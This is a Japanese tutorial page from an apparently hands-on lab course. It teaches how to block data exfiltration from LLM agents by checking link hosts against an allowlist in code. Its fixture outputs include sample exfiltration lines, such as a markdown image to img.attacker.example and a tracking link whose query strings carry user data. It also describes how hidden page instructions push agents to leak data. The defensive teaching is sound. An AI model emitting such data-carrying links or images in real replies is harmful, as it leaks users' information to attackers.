データはどう出ていくか?
データ流出とは、持ち主が想定しない経路でデータが出ていくことです。エージェントの出口はチャットボットより多いです。返答のリンク、画像、ツール呼び出し、Webリクエストがあります。
「LLMアプリケーションの安全対策」は、インジェクションを扱いました。このレッスンは出口をふさぎます。ページに隠された命令が、エージェントの知る情報を送る先をなくします。
このレッスンのゴール
メモ
データがエージェントから出ていく経路を、コードで検査する許可リストでふさげる。
キーワード
| ことば | いみ | れい |
|---|---|---|
| データ流出 | 持ち主が想定しない経路でデータが出ていくこと | |
| 許可リスト | 許す宛先だけを並べ、ほかはすべて断る一覧 | docs.example.jp |
| ホスト | リンクの中のサーバー名。// と次の / の間 | |
| クエリ文字列 | リンクの ? の後ろ。データを運べる部分 | |
| 外向きの通信 | 自分のシステムから別の所へ出ていく通信 |
学生が入力するセルは、このプレビューでは空白です。
データが出る4つの経路
リンクは返答の中にあります。ユーザーがクリックすると、アドレスがデータを運びます。画像は返答の中にあります。ブラウザが自動で読み込むので、クリックなしでデータが出ます。
ツール呼び出しは、エージェントが引数にデータを入れて送る要求です。ファイル名やメッセージは、チャットやメールのツールに渡ります。
4つとも、宛先かメッセージにデータを入れます。どこへ行くかを確かめます。
例: 経路と検査
| 経路 | データの出方 | 検査 |
|---|---|---|
| リンク | クエリ文字列かパスの中 | ホストが許可リストにある |
| 画像 | ブラウザがすぐ読み込む | 同じホスト検査か、画像を使わない |
| Web要求ツール | アドレスか本文の中 | ホストが許可リストにあり、メソッドも限る |
| チャットやメール | メッセージの文面の中 | 宛先が許可リストにある |
学生が入力するセルは、このプレビューでは空白です。
Runはリンクを調べるだけ
最初のスクリプトは、架空の出力を4つ持ちます。リンクを見つけてホストを読み、許可リストと比べます。
何も取りに行きません。アドレスは架空で、読むだけです。画像リンクの書き方に注目してください。感嘆符で始まりますが、スクリプトは文字コードから作ります。
リンク検査を書く(1)
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const allowed = [\"docs.example.jp\", \"help.example.jp\"];' 'const bang = String.fromCharCode(33);' 'const outputs = [' ' \"手順は https://docs.example.jp/start にあります。\",' ' \"完了しました。 \" + bang + \"[logo](https://img.attacker.example/p.png?d=TANAKA-4411)\",' ' \"続けるには [フォーム](https://help.example.jp/form) を開いてください。\",' ' \"確認のため https://track.example.net/c?note=secret を押してください。\",' '];' > egress.js"ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
リンク検査を書く(2)
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostOf(url) {' ' return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsIn(text) {' ' const found = [];' ' for (const word of text.split(\" \")) {' ' const at = word.indexOf(\"http\");' ' if (at >= 0) found.push(word.slice(at).split(\")\")[0].split(\"。\")[0]);' ' }' ' return found;' '}' 'for (const text of outputs) {' ' for (const url of urlsIn(text)) {' ' const ok = allowed.includes(hostOf(url));' ' const query = url.includes(\"?\") ? \" (クエリ付き)\" : \"\";' ' console.log((ok ? \"許可 \" : \"ブロック \") + hostOf(url) + query);' ' }' '}' >> egress.js"ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
リンク検査を実行
docker exec -w /home/node/project agent node egress.jsここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
スクリプトの出力
| 行 | 意味 |
|---|---|
| 許可 docs.example.jp | ホストがリストにある |
| ブロック img.attacker.example (クエリ付き) | 知らない相手への画像。アドレスにデータ |
| 許可 help.example.jp | リストにあるホストへのリンク |
| ブロック track.example.net (クエリ付き) | 誰もリストに入れていないホスト |
学生が入力するセルは、このプレビューでは空白です。
ホスト全体を、そのまま比べる
リンクが許可した名前で始まるかを調べるだけでは弱いです。docs.example.jp.attacker.example はその名前で始まりますが、別の所へ行きます。
リンクには、@ の前に名前を置くこともできます。[email protected] では、本当のホストは @ の後ろです。ホストを取り出し、全体を比べます。
よくある間違い
注意
悪いホストを並べた拒否リストを作る人が多いです。攻撃者は新しいホストをいくらでも作れます。許すものを並べ、残りは断ります。返答を見せる前に、コードで行います。
モデル用スクリプトを書く(1)
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const { ask } = require(\"./model\");' '' 'const allowed = [\"docs.example.jp\", \"help.example.jp\"];' 'const messages = [' ' { role: \"system\", content: \"あなたはソフトウェア製品の利用者を助けます。https://docs.example.jp/help へのMarkdownリンクを1つだけ入れ、1文で答えてください。\" },' ' { role: \"user\", content: \"ヘルプはどこで見られますか。\" },' '];' '// 記録済みサンプル。モデルが答えないときだけ使います。' 'const sample = \"ヘルプは [ガイド](https://docs.example.jp/help) で見られます。\";' > egress2.js"ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
モデル用スクリプトを書く(2)
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostOf(url) {' ' return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsIn(text) {' ' const found = [];' ' for (const word of text.split(\" \")) {' ' const at = word.indexOf(\"http\");' ' if (at >= 0) found.push(word.slice(at).split(\")\")[0].split(\"。\")[0]);' ' }' ' return found;' '}' >> egress2.js"ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
モデル用スクリプトを書く(3)
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'async function main() {' ' const reply = await ask(messages, sample, 80);' ' console.log(\"返答: \" + reply);' ' const urls = urlsIn(reply);' ' console.log(\"見つかったリンク: \" + urls.length);' ' for (const url of urls) {' ' console.log((allowed.includes(hostOf(url)) ? \"許可 \" : \"ブロック \") + hostOf(url));' ' }' '}' 'main();' >> egress2.js"ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
モデル用ヘルパーを書く(1)
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const base = process.env.AI_URL || \"http://ai:4000\";' 'async function ask(messages, sample, max) {' ' try {' ' const res = await fetch(base + \"/v1/chat/completions\", {' ' method: \"POST\",' ' headers: { \"content-type\": \"application/json\", authorization: \"Bearer lab\" },' ' body: JSON.stringify({ model: \"lab\", messages: messages, max_tokens: max || 200 }),' ' signal: AbortSignal.timeout(30000),' ' });' ' if (res.ok === false) throw new Error(\"status \" + res.status);' ' return (await res.json()).choices[0].message.content;' > model.js"ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
モデル用ヘルパーを書く(2)
docker exec -w /home/node/project agent sh -c "printf '%s\n' ' } catch (error) {' ' console.log(\"記録済みサンプル: モデルが答えませんでした (\" + error.message + \")。\");' ' const list = [].concat(sample);' ' const turn = messages.filter(function (m) { return m.role === \"assistant\"; }).length;' ' return list[Math.min(turn, list.length - 1)];' ' }' '}' 'module.exports = { ask };' >> model.js"ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
モデルで実行
docker exec -w /home/node/project agent node egress2.jsここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
出力の一例
| 行 | 表示されうる内容 |
|---|---|
| 返答 | リンク付きの1文。言葉は毎回変わります |
| 見つかったリンク | たいてい1。返答にあるだけ数えます |
| 許可かブロック | リストにあれば許可。ほかのホストはブロック |
| 記録済みサンプル | モデルが答えないとき、最初に出ます。サンプルで続きます |
学生が入力するセルは、このプレビューでは空白です。